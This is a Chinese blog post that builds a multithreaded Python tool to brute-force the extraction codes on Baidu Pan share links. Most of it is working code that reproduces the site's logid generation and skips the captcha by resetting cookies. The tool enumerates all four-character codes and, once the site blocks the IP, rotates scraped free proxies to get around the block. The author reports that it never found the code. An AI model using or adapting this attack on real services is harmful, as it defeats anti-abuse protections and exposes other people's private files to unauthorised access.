4年前写过一篇文章,暴力破解百度云,链接(当然这个方法早已失效):

https://blog.csdn.net/liujiayu2/article/details/48953745

当时写这篇文章的时候是同事的感召,他写了一个,心中想既然他能写那我也能写,没过多久果然弄出来了,成就感十足。C++写的,稍微有点麻烦,代码还是很清晰,百度网盘不会对验证码进行校验。这个是10分重要的,验证码验证还真不好做,目前做爬虫也都是手工验证,要是暴力破解也采用手工验证那就天方夜谭了。

1.研究一下目前百度云盘验证机制

最近在研究爬虫,没事也搞搞这个,自己分享了一个百度云盘链接(知道密码好测试):

测试链接:https://pan.baidu.com/s/1Vi2g_l0A4UJFnuAaeZh7fg

提取码:os0p

自动跳转:https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg

浏览器地址栏输入第一个分享链接,回车,会自动跳转第二个链接,并出现输入提取码提取文件页面,输入密码1234,F12打开抓包工具,点击提取文件,抓到一个xhr请求

看下请求参数

简单多次测试和观察,surl来自于地址栏,t是时间戳,channel固定,web固定,app_id固定,bdstoken固定,logid变动,没看出来哪里出来的,clienttype固定,pwd输入的密码,vcode验证码,vcode_str和验证码有关的字符串。

验证码机制研究与分析:

连续4次输错密码才会弹出验证码,让用户输入。清空浏览器缓存,刷新页面,验证码有消失了,可见,验证码不是必须的,服务器记录了哪一个cookie连续输错的次数,我们不停的更换cookie就可以跳过验证码验证机制(简单点来讲:模拟浏览器操作,每次请求之后清空缓存,重新获取cookie)。

Logid研究与分析:

首先我们只是打开浏览器,输入地址,没输入与我们相关的任何信息,这个id是变动每次请求都不一样,看下这个id也不是服务器返回的(提取文件请求只有一个,很容易看到没有这个字符串),那他是哪里来的,目测是本地JS生成的,找下看看吧,打开开发者工具里面的sources页面,看到浏览器运行的时候加载的JS,

IE看这个也很直接

我们把这些JS统统分别复制下来,分别粘贴到文本里面,批量搜索字符串logid,既然请求是xhr也就是JS发出的请求,理论上讲,请求的地址和参数都会在JS里面合成,所有JS里面应该可以搜索的到logid。经过搜索,我们定位了一个文件,boot.js里面有合成参数代码,如下图

为什么么JS代码只有一行,网上搜索了一下这是经过混淆的,目的就是不方便阅读,一般浏览器都提供了使之格式化的工具,点一下下面的“{}”按钮就可以了,

点击之后:

IE也有类似功能:

没有写过JS代码想完全读懂还是有点压力的,有趣的是我们可以通过调试,看程序是怎么运行的,这样更方便JS的理解,在行号左边点击一下就可以加个断点,下好断电之后,输入密码,点击提取,JS程序就会断到断点处,如果没有断下来重新打开浏览器再来一遍(chrome浏览器时常有段不下来的现象,IE就好多了肯定断的下来),一步一步调试,一点一点看变量值,右边的菜单栏可以出来一个console界面,输入变量的值,回车也可以看值

调试快捷键和VS差不多,F10单步走,F11单步进,F8执行到下个断点(IE是F5)

经过简单分析,这些代码是一个调用另一个,最终达到目的:根据cookie中字段BAIDUID生成logid的值

2.代码实现和一些细节

上面我们分析了原理,现在说说怎么用编程语言py实现,首先是这个logid的生成,我已开始的想法是,看懂这段JS代码自己写个相应的py版本,1分钟后就放弃了,这他妈也太复杂了,py这门语言之所以强大关键就是他的第三方库丰富,那有没有py调用js的库呢,网上搜了一下还真有,pyv8和js2py两个库都可以,pyv8好像支持py2所以咱们就用js2py这个库吧,先看一下这个库怎么用,js2py安装与使用教程:

https://www.cnblogs.com/qingsheng/p/9594200.html

看了这个教程,说实话有点简短,其实我想要的是:有一个JS文件,里面有若干个函数,我想调用其中一个。但是文章没有提供这样的接口,网上搜了也没搜索的到,简单看下js2py也没有看到类似接口函数。原本的想法是把整个JS文件复制下来存为boot.js,然后调用其中的w函数,看来是泡汤了。于是我尝试了把需要用的函数提取出来存为boot2.js。代码如下:

var u="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/~!@#¥%……&"
,l=String.fromCharCode
,d=function(e){if(e.length<2){var n=e.charCodeAt(0);return 128>n?e:2048>n?l(192|n>>>6)+l(128|63&n):l(224|n>>>12&15)+l(128|n>>>6&63)+l(128|63&n)}var n=65536+1024*(e.charCodeAt(0)-55296)+(e.charCodeAt(1)-56320);return l(240|n>>>18&7)+l(128|n>>>12&63)+l(128|n>>>6&63)+l(128|63&n)
}
,f=/[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g,g=function(e){return(e+""+Math.random()).replace(f,d)
}
,h=function(e){var n=[0,2,1][e.length%3],t=e.charCodeAt(0)<<16|(e.length>1?e.charCodeAt(1):0)<<8|(e.length>2?e.charCodeAt(2):0),o=[u.charAt(t>>>18),u.charAt(t>>>12&63),n>=2?"=":u.charAt(t>>>6&63),n>=1?"=":u.charAt(63&t)];return o.join("")
}
,m=function(e){return e.replace(/[\s\S]{1,3}/g,h)
}
,p=function(){return m(g((new Date).getTime()))
}
,w=function(e,n){return n?p(String(e)).replace(/[+\/]/g,function(e){return"+"==e?"-":"_"}).replace(/=/g,""):p(String(e))
}function enString2(data){var enchex = w(data)return enchex;
}

写一段测试代码,测试一下,成功了(从格式和长度来看),测试代码如下:

import js2py# data=open('boot.js','r',encoding= 'utf8').read()
# tt = js2py.eval_js(data)data=open('boot2.js','r',encoding= 'utf8').read()
print(type(data))
w=js2py.eval_js(data)
print(w('E1D822C135210D1CC83DD8190AF05734:FG=1'))print('end')

于是,尝试写一下整项目,代码如下:

import requests
import time
import js2pyfrom urllib.parse import urlencode#下载链接
#注请使用跳转之后的链接,原链接不会获取cookie,从代码测试结果来讲是这样的
#down_url = 'https://pan.baidu.com/s/1Vi2g_l0A4UJFnuAaeZh7fg'
down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'header ={'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Encoding':'gzip, deflate, sdch, br','Accept-Language':'zh-CN,zh;q=0.8','Connection':'keep-alive','Host':'pan.baidu.com','Upgrade-Insecure-Requests':'1','User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0'
}#获取cookie里面的 BAIDUID 的值
seesion = requests.session()
#seesion.headers.clear()
seesion.headers.update(header)
#不使用第二个参数正常访问是ok的。如果打开HttpAnalyzer抓包会直接崩溃,弹出错误requests.exceptions.SSLError,添加上这个参数就可以了
res = seesion.get(down_url, verify=False)
cookies = res.cookies.get_dict()#添加一下cookie属性
timestr = str(int(time.time()))
cookies['Hm_lvt_7a3960b6f067eb0085b7f96ff5e660b0'] = timestr
cookies['Hm_lpvt_7a3960b6f067eb0085b7f96ff5e660b0'] = timestr
seesion.cookies.clear()
seesion.cookies.update(cookies)#获取 BAIDUID 加密值
data=open('boot2.js','r',encoding= 'utf8').read()
w=js2py.eval_js(data)
cookie_encode =w(cookies['BAIDUID'])#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0'
}
params['t'] = str(int(int(time.time()*1000)))
# params['logid'] = cookie_encode
url += cookie_encode
data = {'pwd':'2222','vcode':'','vcode_str': ''
}
params2 = urlencode(params)
res = seesion.post(url, params = params2, data = data)print('end')

结果发下反回了数据“'{"errno":2,"request_id":314674761273760332}'”。额,眉头紧缩一下,感觉有点不太对,我们再看下浏览器返回的啥数据:

“{"errno":-9,"err_msg":"","request_id":314701270676769174}”

浏览器返回的错误码是:-9,我们写的返回码是2,浏览器提示是提取码错误,我们这个情况不是提取码错误,还有点异常,这个2是什么意思?还是那个方法在所有js里面搜索所

IE浏览器打开开发者工具,转到“脚本”页面,CTRL+F,输入-9或者错误,一个个搜索,找一下错误码定义,最找到了:

参数错误,可见还是有点方传值没传好,这个项目请求的要点如下:

  1. 地址栏参数
  2. Post参数
  3. Http头信息
  4. Cookie信息

一般来讲,只要上面4点模拟到位,不可能出现浏览器和py代码不一致的现象,简单修改了一下cookie,还是参数错。哎,最近自己时间有点紧张了,先记载到这里,有时间再研究,,,

========================以下为12:59 2019/1/25更新==============================

这个项目没有完成一直是我的心病,凡事不能半途而废(当然也不能不到南墙不回头,具体情况具体分析),半途而非与我人生来讲都是个打击,心里面总想着这个事儿自己没能拿下(当然这个测试完全可以用selenium来做,不需要任何的分析,考虑到我们是做暴力破解,注重效率,不太合适)。不多比比了,入正题。上次讲到自己post之后返回码是2,浏览器返回码是-9,总结一下是post信息有误,错误无非是以下4个地方(任何项目而言基本是这样,请不要那特殊列子和我抬杠)1地址栏参数,2post参数,3http头信息,4cookie信息。我们就想办法对比一下自己用py发送的和浏览器发送区别,怎么对比,先抓包呗,我还是感觉HttpAnalyzer这个抓包工具相当不错,抓浏览器包的时候发现抓取不到,同时打开开发工具发现发送失败,如下图:

哎,都是事儿,我有换了浏览器IE,说实话上次调试JS的时候就感觉还是IE好用,这次又一次印证了我的看法,用IE抓包没啥问题,再抓一下py代码发送的数据包,对比一下,更改不同之处,不大会儿py代码就返回了期待已久的-9。整个代码如下

import requests
import time
import execjsdown_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'
seesion = requests.session()
seesion.cookies.clear()#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0'
}
params['t'] = str(int(int(time.time()*1000)))#获取 BAIDUID 加密值
url +=  execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')
data = {'pwd':'1234','vcode':'','vcode_str': ''
}
header2 ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Host':'pan.baidu.com','DNT':'1','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)'
}seesion.headers.clear()
seesion.headers.update(header2)
res = seesion.post(url, params = params, data = data, verify=False)print('end')

说明:

1.经过测试,浏览器清空所有缓存,提交密码也能返回-9,看了一下发送cookie是空的,既然这样我们py代码里面也清空。

2.发现了一个py运行js的库execjs。用法看上面的代码

下面我们考虑一下暴力破解的事情吧。

花了一段时间,完成了多线程版密码枚举,代码如下:

import requests
import time
import execjs
import json
import generatepwd
import threadingimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'
# seesion = requests.session()#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0'
}
data = {'pwd':'1234','vcode':'','vcode_str': ''
}
header2 ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Host':'pan.baidu.com','DNT':'1','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)'
}def TryOnePwd(pwd):#获取 BAIDUID 加密值curUrl = url + execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')params['t'] = str(int(int(time.time()*1000)))data['pwd']=pwdres = requests.post(curUrl, params = params, data = data, headers=header2, verify=False)jscode = 1024try:jscode = json.loads(res.text).get('errno');except:print(res.text)return jscode
'''
# 单线程模式,效率太低
for pwd in generatepwd.createpwd():code  = 1025if pwd=='0058':code = TryOnePwd(pwd)else:code = TryOnePwd('1234')print(pwd, code)if code == 0 :exit(0)
'''#密码集合
allpwd = generatepwd.createpwd()
num = 0#线程函数
def threadFun(n):global numwhile num < len(allpwd):#线程安全代码lock.acquire()curTestPwd = allpwd[num]num = num + 1lock.release()code = TryOnePwd(curTestPwd)if code == 0 :exit(0)print('线程编号:',  n, " 测试密码:",curTestPwd)#生成锁
lock=threading.Lock()#存线程实例
res=[]
start_time=time.time()
for i in range(1):#创建线程50个线程t=threading.Thread(target=threadFun,args=("thread-%s"%i,))t.start()res.append(t)for r in res:#循环线程实例列表,等待所有的线程执行完毕r.join()#线程执行完毕后,才会往后执行,相当于C语言中的wait()print('end')

generatepwd.py代码:

#36
code = "0123456789abcdefghijklmnopqrstuvwxyz"
def createpwd():allpwd = []for i in range(0,35):for j in range(0, 35):for k in range(0, 35):for h in range(0, 35):pwd = ""pwd += code[i]pwd += code[j]pwd += code[k]pwd += code[h]allpwd.append(pwd)return allpwd

写完这段代码,把他运行起来,我出去抽了根烟,回来时候发现输出狂不停输出html源码,不用想是发生错误了,仔细看了下是404错误。一开始运行好好的啊,可见服务器做了相关的策略,防止暴力猜解。于是我进行了如下测试

1.不管37=21先试试浏览器能否正常提取文件,是不是也是返回404错误,故意输错密码试了几次,有的时候返回了json(当然错误码是-9),有的时候返回404,我又重新试了试代码,其实也是有一定概率返回404,有一定概率返回json的。

2.是不是提取了我的http头,加入黑名单?我刚用的IE,直接换个浏览器搜狗试试,发现也是有一定概率返回404一定概率返回json,截图如下:要是这个情况,也可能是服务器对这个链接进行了保护,

3.重新分享一个链接,发现还是一定概率404,那只能怀疑IP是不是被记录了,加入黑名单了,知道你在搞事,直接在服务器上做限制,我换了同事电脑试了一下(同局域网),发现也是有一定概率的404。这样的话只能考虑代理的事情了。

========================以下为16:45 2019/1/29更新==============================

上次说到IP被封,无奈只好找代理,代理,找到两个免费的,一个西刺,一个快代理。破解思路,尝试一次换一次代理,当然这都要基于多线程,提高并发。整体代码,如下:

import requests
import time
import execjs
import json
import threading
import generatepwd
import proxytest
import proxytest2
import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)down_url = 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg'
# seesion = requests.session()#params方式传递get参数,会对字符进行Urlcode编码,=会转化为%3D,导致请求失败
url = 'https://pan.baidu.com/share/verify?logid='
params ={'surl':'Vi2g_l0A4UJFnuAaeZh7fg','t':'1547182280624','channel':'chunlei','web':'1','app_id':'250528','bdstoken':'null',#'logid':'MTU0NzE4MzEyMjgyNzAuMzc5NzQxMjA1ODI1NDEzMDQ=','clienttype':'0'
}
data = {'pwd':'1234','vcode':'','vcode_str': ''
}
header2 ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','X-Requested-With':'XMLHttpRequest','Referer': 'https://pan.baidu.com/share/init?surl=Vi2g_l0A4UJFnuAaeZh7fg','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Host':'pan.baidu.com','DNT':'1','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)'
}def TryOnePwd(pwd,proxy):curproxy = proxy['ip'] + ':' + proxy['port']proxies = {'http': 'http://' + curproxy,'https': 'https://' + curproxy,}#获取 BAIDUID 加密值curUrl = url + execjs.compile(open(r"boot2.js",encoding='gb18030',errors='ignore').read()).call('w', '')params['t'] = str(int(int(time.time()*1000)))data['pwd']=pwdtry:res = requests.post(curUrl, params=params, data=data, headers=header2, verify=False, proxies=proxies, timeout=3)except BaseException as e:print('Error', e.args)needtryagainpwd.append(pwd)return 1001jscode = 1024try:jscode = json.loads(res.text).get('errno');except:print(res.text)return jscodenum = 0
proxyid = 0
#线程函数
def threadFun(n):global numglobal proxyidwhile num < len(allpwd):lock.acquire()# 获取验证一个密码任务curTestPwd = allpwd[num]num = num + 1lock.release()while True:lock.acquire()# 获取一个代理if proxyid==len(canUseProxies):proxyid=0proxy = canUseProxies[proxyid]proxyid = proxyid +1lock.release()print('线程编号:', n, " 测试密码:", curTestPwd, "使用代理:", proxy)code = TryOnePwd(curTestPwd, proxy)if code == -9:breakif code == 0 :print('找到了密码',curTestPwd)exit(0)if __name__ == '__main__':# 密码集合allpwd = generatepwd.createpwd()#使用代理验证密码的时候,代理正好失效了,needtryagainpwd=[]# 代理集合canUseProxies = proxytest2.GetCanUseProxies()# 生成锁lock = threading.Lock()# 存线程实例res=[]start_time=time.time()for i in range(50):#创建线程50个线程t=threading.Thread(target=threadFun,args=("thread-%s"%i,))t.start()res.append(t)for r in res:#循环线程实例列表,等待所有的线程执行完毕r.join()#线程执行完毕后,才会往后执行,相当于C语言中的wait()print('end')

proxytest2.py代码如下:

#快代理:https://www.kuaidaili.com/free/
#
import requests
from bs4 import BeautifulSoup
import pandas as pd
import threading
import time
from time import sleepimport urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)#代理是否成功测试网站
test_http = 'http://httpbin.org/get'
test_https = 'https://httpbin.org/get'header ={'Accept':'*/*','Content-Type':'application/x-www-form-urlencoded; charset=UTF-8','Accept-Language':'zh-CN','Accept-Encoding':'gzip, deflate','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent':'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.01)'
}def pandas_to_xlsx(filename, info):  # 储存到xlsxpd_look = pd.DataFrame(info)pd_look.to_excel(filename, sheet_name='快代理')def TestOneProxy(ip, port,n):proxy = ip + ':' + portproxies = {'http': 'http://' + proxy,'https': 'https://' + proxy,}try:response = requests.get('http://httpbin.org/get', proxies=proxies , timeout=3)if response.status_code == 200 :print(n,'--验证代理通过 ip', ip, ' 端口:', port)return Trueelse:print(n,'--验证代理失败 ip', ip, ' 端口:', port)return Falseexcept BaseException as e:print(n,'--Error', e.args)return Falsedef  getHttpsProxy(url):for i in range(1,20):sleep(1)curUrl = url + str(i) + '/'try:print('正在获取代理信息,网页', curUrl)webcontent = requests.get(curUrl,verify=False)if webcontent.status_code!=200 :print('获取错误网页,错误码:',webcontent.status_code)continuesoup = BeautifulSoup(webcontent.text, 'lxml')list = soup.select('#list')if len(list) == 0:print('获取错误网页,网页内容:',webcontent.text)continuea = list[0].select('tbody')[0]b = a.select('tr')for item in b:td = item.select('td')info = {}info['ip'] = td[0].textinfo['port'] = td[1].textinfo['匿名度'] = td[2].textinfo['类型'] = td[3].textinfo['位置'] = td[4].textinfo['响应速度'] = td[5].textinfo['最后验证时间'] = td[6].textallProxies.append(info)except requests.exceptions.ConnectionError as e:print('--Error', e.args)pandas_to_xlsx('所有代理.xlsx',allProxies)return allProxies#线程函数
num = 0
def threadFun(n):global numwhile True:#领取任务lock.acquire()if num >= len(allProxies):lock.release()#这个地方忘了写这一行代码,调试了一整天,泪奔breakcurTestProxy = allProxies[num]num = num + 1lock.release()#线程干活if TestOneProxy(curTestProxy['ip'],curTestProxy['port'],n):canUseProxies.append(curTestProxy)print(n,'--运行结束')def GetCanUseProxies():# 单线程获取所有可用代理url = 'http://www.kuaidaili.com/free/inha/'getHttpsProxy(url)# 多线程测试是否可用res = []for i in range(50):  # 创建线程50个线程t = threading.Thread(target=threadFun, args=("thread-%s" % i,))t.start()res.append(t)for r in res:  # 循环线程实例列表,等待所有的线程执行完毕r.join()  # 线程执行完毕后,才会往后执行,相当于C语言中的wait()if len(canUseProxies) > 0:pandas_to_xlsx('所有可用代理.xlsx', canUseProxies)return canUseProxiesallProxies = []
canUseProxies = []
lock = threading.Lock()
if __name__ == '__main__':GetCanUseProxies()#print ('end')

最后,这写代码最终还是没有得到最后的密码,原因是代理太不稳定,即使获取的时候测试了一下,使劲使用的时候仍然不可用。告一段落吧。

python3爬虫(5)百度云盘暴力破解尝试相关推荐

  1. 验证码机制之验证码暴力破解

    验证码暴力破解介绍 通常在网站的用户注册.密码找回等页面会设计有手机或邮箱验证码进行验证. 主要为了贯彻落实上网实名制以及保障用户帐户的安全性. 当这些验证码具有一定的规律性,并且没有做好对应的防护措 ...

  2. python3 爬虫回忆录

    整理于2020年11月下旬: It is tough today and tomorrow will be tougher.but the day after tomorrow is beautifu ...

  3. 暴力破解攻击工具汇总——字典很关键,肉鸡也关键

    lasercrack是一款爆力破解工具,ruby写的,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率. 破解RDP的软件也有很多,比如ncrack和Fast RDP Brut ...

  4. 网络攻防研究第001篇:尝试暴力破解某高校研究生管理系统学生密码

    前言 如果你是在校大学生,而且还对网络攻防比较感兴趣的话,相信你最开始尝试渗透的莫过于所在院校的学生管理系统.因为一般来说这样的系统往往比较薄弱,拿来练手那是再合适不过的了.作为本系列的第一篇文章,我 ...

  5. 【Python3爬虫】破解同程旅游加密参数 antitoken-爬虫深度技术

    [Python3爬虫]2020年最新破解同程旅游加密参数 antitoken 一.前言简介 在现在各个网站使用的反爬措施中,使用 JavaScript 加密算是很常用的了,通常会使用 JavaScri ...

  6. 一个最简单的博客园文章密码暴力破解器-python3实现

    一个最简单的博客园文章密码暴力破解器-python3实现 我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手. 博客园的博客有个功 ...

  7. python密码破解工具_一个最简单的博客园文章密码暴力破解器-python3实现

    一个最简单的博客园文章密码暴力破解器-python3实现 我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手. 博客园的博客有个功 ...

  8. Fail2ban详细教程,解决网站被扫描、CC攻击、ssh暴力破解、防爬虫等问题

    最近网站总是被高频度扫描,导致数据库连接过多,打开页面报"Error establishing a database connection"错误.最开始写了个监控网站的脚本,一旦发 ...

  9. Python3暴力破解Mysql(端口3306)

    固定端口3306,可自由设置线程数 """ 暴力破解Mysql """import pymysql import multiprocessi ...

最新文章

  1. 希捷携全线企业级解决方案出席ODCC,Exos X18与Exos 2X14硬盘斩获两项大奖
  2. 1080Ti 就搞定最新 SOTA 模型?一个普通研究生勇敢发毕业论文引起热议
  3. Linux Setuid和Setgid
  4. Leetcode 300 最长递增子序列 (每日一题 20210803)
  5. css 相对定位 ie7问题
  6. 在VirtualBox中安装BlackArch Linux
  7. session用法_面试中经常问到的:session和cookie有什么区别?
  8. python字符串驻留机制_python的内存驻留机制(小数据池)
  9. how to remove untagged / none images
  10. appium+python的APP自动化(1)
  11. iOS中关于文件操作
  12. dnf mysql密码多少_CentOS7 使用 dnf 安装 mysql
  13. 运营商iptv服务器,电信运营商IPTV业务发展趋势浅析
  14. 资讯--2019年4月
  15. pytorch源码解析1——torch.optim:优化算法接口详解
  16. mac 下 jkl 按键失灵
  17. 从 RTL 到 GDS :基于 OpenLANE
  18. Prophet(预言者)facebook时序预测----论文总结以及调参思路
  19. 【MATLAB】一个宝藏博主公开的代码,给它加个速——水晶爱心模块
  20. 【DFT】可测性设计(一)扫描测试

热门文章

  1. SpringBoot_配置-@PropertySource、@ImportResource、@Bean
  2. cfg桩设备型号_试桩、试验桩、工程桩是一回事吗?
  3. RabbitMQ开发详解
  4. 深入理解Kafka(1)
  5. vba数组下标越界_VBA编程知识点(7)——数组基本知识
  6. PyTorch深度学习实践05
  7. BAT Window批量重命名
  8. ubuntu双系统把win7设置为默认启动选项
  9. AM335X的USB otg网卡(RNDIS /Ethernet Gadget)调试
  10. Qt知识点汇总——来自网络